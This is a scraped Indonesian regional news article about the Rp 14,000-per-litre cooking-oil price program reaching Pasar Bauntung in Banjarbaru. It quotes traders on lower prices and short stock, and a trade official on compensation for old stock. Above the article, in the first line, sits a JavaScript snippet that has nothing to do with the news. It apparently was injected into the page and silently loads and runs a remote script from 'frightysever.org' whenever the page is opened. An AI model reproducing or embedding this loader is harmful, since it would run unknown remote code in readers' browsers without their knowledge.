(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Program minyak goreng satu harga Rp 14 ribu perliter sudah masuk merambah pasar-pasar tradisional, salah satunya di Pasar Bauntung Banjarbaru.
Pedagang mengakui ada beberapa produk minyak goreng yang sudah bisa dijual dengan harga Rp 14 ribu perliter.
Salah pedagang pasar Bauntung, Mulyadi mengaku, di tokonya sudah ada beberapa harga minyak goreng kemasan harga Rp 14 ribu perliter. Namun, sebagian masih ada yang menggunakan harga lama.
“Ada beberapa mereka yang sudah turun, kemarin didatangi sama salesnya untuk melakukan pemotongan harga untuk diganti dan menyesuaikan dengan harga yang sekarang,” ujarnya.
Baca juga: Terancam Dipanggil Paksa, Ini Alasan Edy Mulyadi Mangkir dari Panggilan Bareskrim Polri
Dikatakan Mulyadi, merek yang sudah turun di tokonya seperti Sania, Alif dan Sofia sisanya masih dengan harga yang sama karena dikatakannya dari salesnya belum mendapatkan perintah dari atasan untuk mendata terkait pemotongan harga.
“Seperti Bimoli, Kunci Mas dan sisanya itu masih kami jual dengan harga terdahulu,” ungkapnya.
Dengan penyesuaian harga ini, dikatakan Mulyadi minyak goreng yang sudah turun harganya laku diserbu pedagang.
“Cepat habis yang harga 14 ribu perliternya, namun ketika mau nambah barangnya dikatakan salesnya lagi kosong, kecuali mau ambil langsung ke agen,” tandasnya.
Baca juga: AirAsia Berubah Nama Jadi Capital A
Senada dengan Mulyadi, yang juga seorang pedagang di Pasar Bauntung, Adi menerangkan harga minyak goreng di tempatnya berjualan sudah turun, namun stok terbatas dan sempat kosong.
“Harganya sudah turun, namun jadi sulit didapat, kan percuma,” tuntasnya.
Sementara itu, Kepala Bidang Perdagangan Disdag Kota Banjarbaru, Anshori mengatakan Disdag Kalsel akan melakukan pendataan kepada suplayer terhadap stok lama pedagang langganannya. Pendataan ini diambil untuk memberlakukan minyak goreng satu harga Rp 14 ribu perliter secara merata.
“Sementara pasar tradisional masih menyesuikan, namun jika pedagang ada yang terbeli dengan harga modal mahal agar menghubungi distributor guna mendapatkan subsidi dari pemerintah,” ucapnya.
Dikatakan Anshori terkait subsidi minyak goreng akan disalurkan melalui produsen minyak goreng seluruh Banjarbaru.
Baca juga: Viral Warganet Keluhkan Plat Nomor Kemenhan, Dahnil Anzar: Setelah Dicek Palsu
Pendataan ini dikatakan Anshori guna mengetahui stok lama yang sudah disuplai distributor kepada pedagang langganannya. Tujuannya untuk diberikan penggantian selisih harga.
“Kami juga meminta agar pedagang pro aktif dalam melaporkan stok lama kepada distributor untuk minta ganti selisi harga,” tuturnya.
“Hal ini juga untuk percepatar penyelesaian harga migor di pasar,” tegasnya
Ada beberapa pedagang yang sudah bisa menyelesaikan sehingga dikatakannya sudah bisa menjual satu harga Rp. 14 perliter.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
This website uses cookies.